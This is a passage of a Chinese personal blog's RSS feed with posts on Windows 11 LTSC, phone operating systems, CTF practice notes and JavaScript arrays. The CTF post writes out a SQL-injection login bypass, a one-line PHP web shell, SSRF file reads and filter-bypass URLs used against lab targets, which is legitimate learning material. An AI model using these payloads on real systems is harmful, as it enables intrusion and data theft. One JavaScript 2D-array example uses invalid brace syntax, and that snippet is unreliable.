&lt;p&gt;就以 Windows 11 LTSC 版本，一个非常容易复现的问题，就是右键文件，在LTSC版本上会出现一种 bug ，第一次是新版菜单，第二次是旧版菜单的情况，两种情况会交替出现，而且没有解决办法，不论是更新还是反复重装，除非修改注册表关闭新版菜单。&lt;/p&gt;
&lt;p&gt;还有软件的默认打开的问题，以前搭建静态博客使用的是 &lt;code&gt;Publii&lt;/code&gt; 这个软件对博客进行构建，每次在预览的时候在提示渲染完成之后，无法自动弹出浏览器并且显示博客内容，但是后面使用经过 Atlas 精简脚本精简过的专业版和专业工作站版本的 Windows 11 上都没有出现过任何问题。&lt;/p&gt;
&lt;p&gt;功能的缺失也是有的，我在 Linux 上面用包管理器很舒服，但是在普通的 Windows 11 上面已经完全具备 &lt;code&gt;WinGet&lt;/code&gt; 这个包管理器，但是在 LTSC 版本上不仅不能使用也一样安装不上去，虽然这个功能无关紧要，但是对于下载与安装开发工具，这样的包管理器有很大的作用，例如这样：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-version-and-develop-selection/windows-version-and-develop-selection.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样安装 Python 是不是比上官网去先找到想要的版本再下载，下载完再安装要方便很多很多……&lt;/p&gt;
&lt;h3&gt;精简版系统与精简脚本&lt;/h3&gt;
&lt;p&gt;精简系统这个赛道上，中国还是有很多很出名的，比如不忘初心，小修系统等等，不是说他们的系统不好用，只是他们精简过后的系统会更偏向台式机，更注重性能，更偏向日常使用，而对于开发，WSL或者Docker Desktop可能在安装上多多少少会受到一些阻碍。&lt;/p&gt;
&lt;h4&gt;精简系统&lt;/h4&gt;
&lt;p&gt;精简系统可谓是不仅不是正版，系统质量也是良莠不齐，况且在现在你只要不是非常老旧的本子，正常安装一个符合这个硬件性能的 Windows 大版本正常使用肯定是没有任何问题的，追求精简出来的那点性能不如存钱换一个硬件更好的笔记本或者台式机，我觉得相比于相信一些精简系统提升性能不如去买不忘初心的一个系统，然后一直用下去。&lt;/p&gt;
&lt;h4&gt;精简脚本&lt;/h4&gt;
&lt;p&gt;上面提过一个 Atlas 就是一个精简脚本，可以给正常版本的 Windows 优化成一个只用于打游戏的 Windows 。代价也是有的，那就是 Clash Verge 这样的软件开机自启有问题，不会自己进行代理，所以不是真的为了打游戏的这一丁点性能完全没有必要去牺牲兼容性来换，况且那个精简程度也不是和笔记本，笔记本的散热怎么说也没有台式机好，那更不能把 Windows 的电源管理直接删掉去换取更好的性能了。&lt;/p&gt;
&lt;h2&gt;开发机器应该如何选择&lt;/h2&gt;
&lt;p&gt;用于开发的机器可能最重要的就是功能的完整，在满足功能完整的情况下资源占用更低一定是最好的，功能比较全的系统只有专业版和专业工作站版，但是专业工作站版本在电源调度策略上会更激进，笔记本装上续航会相比之前打折一半，发热情况也会更严重，如果是 &lt;code&gt;台式机 + 轻薄本&lt;/code&gt; 这样的一个配置建议笔记本使用专业版，台式机使用专业工作站版更好……&lt;/p&gt;
</content:encoded></item><item><title>再次使用 Windows 11 LTSC</title><link>https://ivoinkwell.xyz/posts/specks/use-windows-11-ltsc-again/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/use-windows-11-ltsc-again/</guid><pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;Atlas&lt;/code&gt; 的优化系统用了有将近一个月左右的时间了，但是在我的使用场景上还是有很多的不舒服，也许是和小米写在 EC芯片 上的电源调度逻辑冲突吧，但是回到 LTSC版本 之后还有有很多的地方让我有了许多不同的看法……&lt;/p&gt;
&lt;h2&gt;稳定性&lt;/h2&gt;
&lt;p&gt;也不知道是刚安装还是其他什么形形色色的原因，相比于之前到手就关闭 &lt;code&gt;Windows Update&lt;/code&gt; 的稳定性竟然上升了，我也不知道我遇到的情况是偶然，还是就是 &lt;code&gt;24H2&lt;/code&gt; 前期一定存在的一个 Bug —— 在使用一段时间后对文件，文件夹等进行右键会莫名奇妙的一会儿是新版右键菜单，一会儿是旧版的，纯属是看系统心情。但是在我现在这种使用场景下，&lt;code&gt;Windows Update&lt;/code&gt; 和 &lt;code&gt;Windows Defender&lt;/code&gt; 完全默认的情况下是似乎是能够不出现任何 Bug 的。&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;Update，更新，这个词语似乎每个人有自己不同的理解，这也伴随着他们对于自己手上产品关注点与系统稳定性的观察角度的不同而不同。&lt;/p&gt;
&lt;p&gt;从手机上说起，就像我父亲那一辈的，他们手上的手机一开始就是功能机，那个时候手机从到手上到这个手机完全报废，系统都是不会变的，后来随着 HTC 将 &lt;code&gt;Android&lt;/code&gt; 这个系统带入中国市场，国内才开始出现“低价智能手机”这个概念。虽然大家都能买的起智能手机了，但是体验是天差地别的，安卓的系统不管是高端机还是低端机，厂商都是“只管生不管养”的态度，OTA就是看心情，而且就算有也是100%的不如出厂系统，用现在的话说是“负优化”，所以很多的人都是从手机拿到手到手机淘汰，系统几乎就是原封不动的状态。&lt;/p&gt;
&lt;p&gt;电脑上更不用说了，当时的 MacOS 和现在的 ChromeOS 一个样子，先不说网络限制，就说软件兼容性上，当时的 Windows 就已经是一骑绝尘了，大家都不支持微软正版的系统，用的都是“番茄花园”，“雨林木风”这些东西的破解优化系统，安全都是靠类似 360安全管家 这些东西自带的补丁包安装的方式去进行的，根本就没有“系统升级”的概念。&lt;/p&gt;
&lt;p&gt;到现在这个时代，云控，强制更新的互联网上全是，大家懂电脑的用 Windows LTSC 去躲个清静。懂手机的都是 adb 冻结系统更新( OPPO可以直接找客服关闭更新推送 )，所以很多人对于系统更新没有清晰的认知却被风一阵雨一阵的说法搞的晕头转向……很多人搞不清楚这些风声雨声是哪里吹出来的，打游戏的注重游戏体验，打完又开始注重续航，但是既要又要本身就是不现实的。&lt;/p&gt;
&lt;p&gt;他们抓着那一两帧的波动说电脑系统更新完性能释放不够，抓着手机上说的165Hz玩了几分钟只能稳160帧去乱叫优化不行。有的人盯着手机更新完系统后极限续航缩短十几分钟在那里说续航变短了，手机比原来烫……我不知道这些人他们的眼睛是高速摄像机还是续航长个十几二十分钟能够救他命，手机的优化没有那么的差别巨大，如果真的有自己需要的功能，放心 OTA 就好。&lt;strong&gt;但是大版本更新还是需要谨慎，如果能轻松退回就放心别管了……&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;过渡动画&lt;/h2&gt;
&lt;p&gt;在过去大概一两年里，我确实非常讨厌过渡动画，但是原因并不是降低性能，而是当时像是微信，QQ这些软件的窗口完全就是没有动画的，系统的动画反而显得十分的多余，而且关闭掉之后视觉上打开关闭的统一性更好，而且在“理论上”还能增加性能，所以何乐而不为呢？&lt;/p&gt;
&lt;p&gt;但是随着新电脑的到手以及 Windows11 LTSC 这个系统的使用，甚至是 One Plus Ace6 的ColorOS 16 的多方面作用之下我最终选择了继续开启过渡动画，但是开启之后我才知道我之前一直盯着的“性能”其实早就已经不是我心中的那个执念了……&lt;/p&gt;
&lt;h2&gt;电源与续航&lt;/h2&gt;
&lt;p&gt;之前说过小米的 EC芯片 的电源调度会影响到Windows系统本身的电源调度，也就是不应用充电限制到80%的这个 EC芯片 策略才能在离电环境下流畅使用，也因为我使用的是英文版本的 Windows 系统，所以使用的是开源的小米电脑管家精简版&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;CHHHHHHEN/xiaomi_pc_manager_lite&quot;}&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;如果说有人和我一样，因为硬件的原因去研究软件，尤其是系统软件的人，我希望最后能够换一个好一点硬件走出这个无限循环的深坑，我们使用的系统无非就是一个我们现实与应用软件之间交互的桥梁，这个桥梁的资源占用其实并不是非常的多，但是当你发现这个桥梁的资源占用已经能和你所需的软件的资源占用平起平坐之后，就真的是你应该更换手上的硬件，而不是优化软件的设置来挤出那微不足道的一点点资源去勉强维持，你要知道，学习的确很苦，但绝地求生一定会让你的观念变得十分极端，就像我对于性能执念已经发生变化了却依旧那么就都没有察觉……&lt;/p&gt;
</content:encoded></item><item><title>手机与操作系统</title><link>https://ivoinkwell.xyz/posts/specks/mobile-phones-and-operating-systems/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/mobile-phones-and-operating-systems/</guid><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;从初中毕业到现在，我已经用过三个手机，操作系统也使用过很多，大多数都是类原生安卓项目，但是真正有厂商维护的系统只有三个 —— MUI，HyperOS 和 ColorOS。&lt;/p&gt;
&lt;p&gt;小的时候用家里的平板是荣耀的，当时荣耀还没有和华为分家，当时还是 EMUI 的时代，平板的 CPU 是 海思麒麟659，这个 CPU 算是入门水准，但是对于当时没有见过旗舰手机的我来说算是非常流畅了，经过大概有一年左右的时间，当时是疫情期间上网课，再次使用这个平板上传作业的时候这个平板已经是打开微信都要1分钟的程度了，后来初中毕业换了之前一直喜欢并且能解 Bootloader 的 &lt;code&gt;Redmi Note 12T Pro&lt;/code&gt; ，天玑8200 这颗 CPU 也算是当时非常出名的性价比神U，那也是我第一次接触到 MIUI 14，当时这个操作系统给了我一个还算不错的印象，当时对于夏天手机发烫只当是 CPU 不是旗舰能效比不行，但是只要能用也不太挑剔，后面这个手机坏了也还是换了相同品牌的机器 &lt;code&gt;REDMI Note 15 Pro&lt;/code&gt; ，但是自从上手的出场系统 &lt;code&gt;HyperOS 2.200&lt;/code&gt; 到后面更新的 &lt;code&gt;HyperOS 3&lt;/code&gt; 是越用越卡，我开始使用 &lt;code&gt;Redmi Note 12T Pro&lt;/code&gt; 刷类原生安卓开始日用，才发现 &lt;code&gt;HyperOS&lt;/code&gt; 的卡顿，家里长辈再我推荐下换了一加的手机，但是 OPPO 的系统不知道为什么总是会然他们下载一些有的没的垃圾软件，最后这个一加的Ace6就到了我的手上，最近用了几天的这个手机，我发现 &lt;code&gt;ColorOS&lt;/code&gt; 在很多地方推翻了我对国内系统的很多观念，或许和手上硬件太好有一点关系，但是我相信身边接触到的同学他们的选择不会是一种被迫的选择。&lt;/p&gt;
&lt;h2&gt;EMUI&lt;/h2&gt;
&lt;p&gt;EMUI这个系统，我能接触到的只有 &lt;code&gt;EMUI 8&lt;/code&gt; 和 &lt;code&gt;EMUI 9&lt;/code&gt; ，加上当时海思麒麟659的这个硬件条件不是很好，可能不能证明当时的华为系统做的有多不好，但是我觉得能够证明当时基于安卓底子的EMUI是非常生硬的，整个界面的交互方式很容易看出是安卓，但是类似于方舟编译器存在还不如不存在的鸡肋是完全存在的……&lt;/p&gt;
&lt;p&gt;当然这一点还不至于上升到品牌形象&lt;/p&gt;
&lt;h2&gt;MIUI&lt;/h2&gt;
&lt;p&gt;不知道是不是我用的太晚了还是 &lt;code&gt;Redmi Note 12T Pro&lt;/code&gt; 手机出厂就是这个版本的缘故，我觉得这个系统Bug是最少也算是最流畅的，但是后面着急升级 &lt;code&gt;HyperOS&lt;/code&gt; 最后被逼到直接使用原生安卓，也没再碰过这个系统，也是可惜了……&lt;/p&gt;
&lt;h2&gt;HyperOS&lt;/h2&gt;
&lt;p&gt;这个系统还是吃配置，天玑8200 带着算是吃力，但是到了 天玑7400 也只能是给老人使用不卡的地步，后台挂个运动健康这机子就差不多了，还是 12+512 的。&lt;/p&gt;
&lt;h2&gt;ColorOS&lt;/h2&gt;
&lt;p&gt;这个系统颠覆了我对于国内厂商系统的一些看法。之前使用华为和小米的系统，你总能看到安卓的影子，他们的很多功能就像是安装了他一个不能用常规手段卸载的软件一样，和Windows的后台一样，只是这些后台是无法进行卸载的。但是使用了 ColorOS 之后我觉得颠覆了我的这个认知，我不想要系统更新我应该使用 adb 进行卸载系统更新 APP 或者使用冰箱等软件对系统更新这个 APP 进行冻结，但是 ColorOS 是完全做不到的，似乎和这个系统已经是合二为一的状态。还有就是 Telegram 等国外应用会去做返回手势预测动画，小米等系统默认是没有这个的，但是再 Telegram 中的这个动画却是存在的，但是 ColorOS 是系统关闭后应用内也不会再存在。在混乱的安卓生态中竟然还能存在这样的秩序真的很难得。&lt;/p&gt;
&lt;h2&gt;Google 生态与国外应用生态适配&lt;/h2&gt;
&lt;p&gt;随着接触国外生态越来越多，必可避免的就是接触谷歌的生态，登录肯定都是没问题的，但是国外的软件都是使用谷歌的FCM长连接进行推送，国内很多厂商为了省电会在系统中主动掐断这种长连接，也就会导致手机根本无法使用FCM这个统一框架进行推送，而小米这样的手机像是Telegram就只有一个结局，就是24小时挂着Clash也照样收不到消息。&lt;/p&gt;
&lt;p&gt;但是 ColorOS 会对这些软件做出主动优化，开机自动，后台常驻等等措施，甚至在用户关闭自启动的时候会做出相对应的提醒，我就算上滑关闭 Telegram 的后台照样能够接收消息，当然你要有办法使 cmfa 这样的东西自起并连上。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;我觉得如果说要证明 ColorOS 一定流畅我是做不到的，就像小米数字系列用户和红米K系列用户最多吐槽的也只是bug多是一样的，一加Ace6的性能的确是超过了绝大多数的手机，但是进入二级页面的动画效果是骗不了人的，ColorOS 的拖影会比 HyperOS 少很多，我不知道算不算掉帧，但是这也算是流畅的一种标准吧，起码在我看来能在60Hz的情况下动画比原生安卓丰富且流畅的应该只有 ColorOS 了&lt;/p&gt;
</content:encoded></item><item><title>CTF 刷题笔记</title><link>https://ivoinkwell.xyz/posts/specks/ctf-practice-notes/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/ctf-practice-notes/</guid><pubDate>Thu, 04 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近想去参加一个CTF相关的比赛，开始刷了一些 Web 相关的题目，接触到了 SQL 注入，文件上传漏洞，SSRF 漏洞以及通过编码的方式绕过等等，很多方式都是我没有想过的，但是让我印象比较深的是 Linux 相关的攻击，都是 Linux 基础知识我却没有怎么用过以及没有想到过。&lt;/p&gt;
&lt;h2&gt;SQL 注入漏洞&lt;/h2&gt;
&lt;p&gt;刷到的有两道题目，分别&lt;/p&gt;
&lt;p&gt;让我知道 &lt;code&gt;load_file()&lt;/code&gt; 函数用法以及 SQL 语句的拼接，造成直接登录的方法。&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;load_file()&lt;/code&gt; 函数&lt;/h3&gt;
&lt;p&gt;之前在学习 MySQL 的时候从始至终没有听说过，甚至都没有想到会有这么一个功能的出现，功能应该是类似于 &lt;code&gt;cat&lt;/code&gt; 的，但是控制数据库不能代表可以控制数据库存在的机器，所以使用数据库去获取文件应该是一个方法，&lt;code&gt;load_file()&lt;/code&gt; 应该也只是皮毛，但是这个函数也能打开相关的思路&lt;/p&gt;
&lt;h3&gt;语句拼接&lt;/h3&gt;
&lt;p&gt;在我看来，SQL 就是一个人能看的懂的逻辑语句，所以 SQL 的查询是不可能出现不输入密码或者用其他办法干扰查询的，但是事实上我就已经错了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM user_tab WHERE user = &apos;$name&apos; AND password = &apos;$password&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个题目的提示，填入用户名与密码，用户名已经默认是 &lt;strong&gt;&lt;code&gt;admin&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是填入的东西需要改变语句的结构，让 &lt;code&gt;password&lt;/code&gt;  的判断失效，也就只有一个东西能够做到 —— 注释。&lt;/p&gt;
&lt;p&gt;首先需要一个横真条件，就使用 &lt;code&gt;1=1&lt;/code&gt; ，但是这个内容如果出现在 &lt;code&gt;password&lt;/code&gt; 中就会被视为字符串，所以需要将其脱离后方 &lt;code&gt;&apos;&lt;/code&gt; 的控制，加上注释符就变成 &lt;code&gt;1=1#&lt;/code&gt;。然后需要补全 &lt;code&gt;password&lt;/code&gt; 的 &lt;code&gt;&apos;&apos;&lt;/code&gt; 并将其架空，最后变成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; or 1=1#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;语句完整拼接如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users_tab WHERE user=&apos;admin&apos; AND password=&apos;&apos; or 1=1#&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为注释的原因显得复杂，于是将注释去掉&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users_tab WHERE (user=&apos;admin&apos; AND password=&apos;&apos;) or 1=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;(password=&apos;&apos; or 1=1)&lt;/code&gt; 可以转换成 &lt;code&gt;True&lt;/code&gt; 条件，所以变成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users_tab WHERE True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将 &lt;code&gt;True&lt;/code&gt; 这个可以直接通过的条件忽略，查询语句就是这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users_tab
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;文件上传漏洞&lt;/h2&gt;
&lt;p&gt;利用 &lt;code&gt;php&lt;/code&gt; 的函数漏洞进行的攻击&lt;/p&gt;
&lt;p&gt;在上传文件的时候上传过大的文件会显示上传的目录，这里是 &lt;code&gt;upload&lt;/code&gt;，所以上传一个木马 &lt;code&gt;php&lt;/code&gt; 文件就可以直接对服务器系统进行命令输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system($_GET[1]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只要使用 &lt;code&gt;GET&lt;/code&gt; 请求对 &lt;code&gt;1&lt;/code&gt; 这个变量进行传参就可以使用 &lt;code&gt;system()&lt;/code&gt; 函数执行传入的参数，所以参数只要是系统命令则可以直接执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.1.3:8084/uploads/test.php?1=ls /
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就能查根目录了&lt;/p&gt;
&lt;h2&gt;SSRF&lt;/h2&gt;
&lt;p&gt;这个漏洞我一开始都不知道能有什么用处，但是当和AI沟通后才知道危害是在正向代理服务器等地方会出现，也就是类似于音乐软件歌单导入等场景下也是可以实现查看服务器文件的功能的&lt;/p&gt;
&lt;h3&gt;查看文件&lt;/h3&gt;
&lt;p&gt;需要在前面加上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file://
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file:///flag
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十六进制替代&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;if($urlp[&apos;scheme&apos;]===&apos;http&apos; &amp;amp;&amp;amp; !preg_match_all(&apos;/localhost|127.0.0/|file&apos;, $url))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;源码中出现这样的过滤已经没有正常的方法去访问 &lt;code&gt;127.0.0.1&lt;/code&gt; ，但是还有一种改变明文文字，但是不改变结果的方法，&lt;strong&gt;十六进制绕过&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;访问这个即可拿到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://0x7F000001/flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;URL格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;if(preg_match(&apos;/^http:\/\/ssrf\..*me$/i&apos;, $url))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果满足这样的一个格式请求才能发出去，注意转义字符&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://ssrf.(中间内容任意)me
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们自己知道的格式是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IP/Domain:端口
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是全部的则是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;协议://[用户名:密码@]主机名[:端口]/路径?查询#片段
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们需要将 &lt;code&gt;127.0.0.1/flag,php&lt;/code&gt; 放在 &lt;code&gt;主机名[:端口]/路径&lt;/code&gt; 的地方&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://[用户名:密码@]127.0.0.1/flag.php?查询#片段
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 &lt;code&gt;[用户名:密码@]&lt;/code&gt; 就是 &lt;code&gt;ssrf.&lt;/code&gt; ，&lt;code&gt;?查询#片段&lt;/code&gt; 要是 &lt;code&gt;me&lt;/code&gt; 结尾&lt;/p&gt;
&lt;p&gt;最简单写法就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://ssrf.@127.0.0.1/flag.php/?me
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;例题&lt;/h2&gt;
&lt;p&gt;最近做了一道题目，不是专项训练，里面出现了一个让人很无语的事情发生，有这样的一个靶场&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/ctf-practice-notes/ctf-practice-notes.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看起来应该是一个文件上传漏洞，比如 php 的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system($_GET[1]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者是 XML 以及 &lt;code&gt;.htaccess&lt;/code&gt; 这样的方法，但是上传一个有任意特殊字符的文件是直接返回 &lt;code&gt;403&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/ctf-practice-notes/ctf-practice-notes-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/ctf-practice-notes/ctf-practice-notes-2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我这里上传的是一份 Markdown 文件，其中最基础的特殊字符 &lt;code&gt;#&lt;/code&gt; 都是无法上传的，但是上传一个内容为 &lt;code&gt;Hello World&lt;/code&gt; 的 &lt;code&gt;php&lt;/code&gt; 却可以上传并且访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/ctf-practice-notes/ctf-practice-notes-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/ctf-practice-notes/ctf-practice-notes-4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是说其实对于文件类型是根本没有任何防护的，防御的只有文件内的文字内容，所以&lt;strong&gt;上传攻击文件&lt;/strong&gt;的方式完全无法实现&lt;/p&gt;
&lt;p&gt;最后通过扫描网站的方式成功找到 &lt;code&gt;robot.txt&lt;/code&gt; 文件，看到 flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;使用工具 **[dirsx](https://github.com/chasingboy/dirsx)**


wget https://github.com/chasingboy/dirsx/releases/download/dirsx-v1.8.2/dirsx-linux-amd.zip

unzip dirsx-linux-amd.zip

cd ./dirsx-linux-amd

./dirsx -u http://192.168.1.3:55003 -w &apos;/home/kali/dirsx-linux-amd/wordlist/fuzzing-payloads-common.txt&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;比赛还未开始，过程还未书写，结局则不可能提前出现，有一句话我觉得十分有价值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;取法于上，仅得其中。取法于中，仅得其下。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我觉得用我的说法是，我会押上我的一切去完成这个我想要达到的最终目标，当然这个目标至少不是人类欲望的载体。&lt;/p&gt;
</content:encoded></item><item><title>JavaScript 数组，二维数组与对象</title><link>https://ivoinkwell.xyz/posts/web-frontend/javascript-arrays-two-dimensional-arrays-and-objects/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/javascript-arrays-two-dimensional-arrays-and-objects/</guid><pubDate>Wed, 27 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;相比其他的知识点，这个还是有点忘记了，甚至C语言上的写法也忘的差不多了。&lt;/p&gt;
&lt;h2&gt;数组&lt;/h2&gt;
&lt;p&gt;这个绝对忘不了，这个也是C上面最基本的存储单位，写法也和JavaScript上差不多&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据这个做了这样的一个小球跑动的项目&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;script src=&quot;./p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
        &amp;lt;script&amp;gt;
            let num = 5;
            let xPos = [];
            let yPos = [];
            let radius = [];
            let speedx = [];
            let speedy = [];

            function setup() {
                createCanvas(800, 600);
                background(&quot;blue&quot;);

                for (let i = 0; i &amp;lt; num; i++) {
                    xPos[i] = random(800);
                    yPos[i] = random(600);
                    radius[i] = random(20, 50);
                    speedx[i] = random(-8, 8);
                    speedy[i] = random(-8, 8);
                }
            }

            function draw() {
                background(&quot;blue&quot;);
                fill(&quot;pink&quot;);
                noStroke();
                for (let i = 0; i &amp;lt; num; i++) {
                    circle(xPos[i], yPos[i], radius[i] * 2);
                    xPos[i] += speedx[i];
                    yPos[i] += speedy[i];

                    if (xPos[i] &amp;lt; radius[i] || xPos[i] &amp;gt; 800 - radius[i]) {
                        speedx[i] = -speedx[i];
                    }
                    if (yPos[i] &amp;lt; radius[i] || yPos[i] &amp;gt; 600 - radius[i]) {
                        speedy[i] = -speedy[i];
                    }
                }
            }
        &amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二维数组&lt;/h2&gt;
&lt;p&gt;这个在C语言里面写法是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int arr[3][4] = {
    {1, 2, 3, 4},
    {5, 6, 7, 8},
    {9, 10, 11, 12}
};

printf(&quot;%d&quot;, arr[1][1]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JavaScript不知道能不能说理解上会更简单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = {
	[1, 2, 3],
	[4, 5, 6],
	[7, 8, 9]
};

console.log(arr[1][1]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将刚刚的这个项目写成二维数组的形式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;script src=&quot;./p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
        &amp;lt;script&amp;gt;
            let num = 5;
            // 二维数组：[x, y, radius, speedX, speedY]
            let balls = [];

            function setup() {
                createCanvas(800, 600);
                background(&quot;blue&quot;);

                balls = Array.from({ length: num }, () =&amp;gt; [
                    random(800), // [i][0] - x
                    random(600), // [i][1] - y
                    random(20, 50), // [i][2] - radius
                    random(-8, 8), // [i][3] - speedX
                    random(-8, 8), // [i][4] - speedY
                ]);
            }

            function draw() {
                background(&quot;blue&quot;);
                fill(&quot;pink&quot;);
                noStroke();
                for (let i = 0; i &amp;lt; num; i++) {
                    circle(balls[i][0], balls[i][1], balls[i][2] * 2);
                    balls[i][0] += balls[i][3];
                    balls[i][1] += balls[i][4];

                    if (
                        balls[i][0] &amp;lt; balls[i][2] ||
                        balls[i][0] &amp;gt; 800 - balls[i][2]
                    ) {
                        balls[i][3] = -balls[i][3];
                    }
                    if (
                        balls[i][1] &amp;lt; balls[i][2] ||
                        balls[i][1] &amp;gt; 600 - balls[i][2]
                    ) {
                        balls[i][4] = -balls[i][4];
                    }
                }
            }
        &amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;对象&lt;/h2&gt;
&lt;p&gt;这个词似乎在C语言里面有一个很熟悉的东西 —— &lt;code&gt;结构体&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;可以简单理解就是给数组里面的东西取一个相对便于记忆的名字，方便直接进行读取&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = {
	x: &quot;apple&quot;,
	y: 17,
	z: &quot;orange&quot;
}

console.log(arr.x);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;项目就可以改成这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;script src=&quot;./p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
        &amp;lt;script&amp;gt;
            let num = 5;
            let balls = [];

            function setup() {
                createCanvas(800, 600);
                background(&quot;blue&quot;);

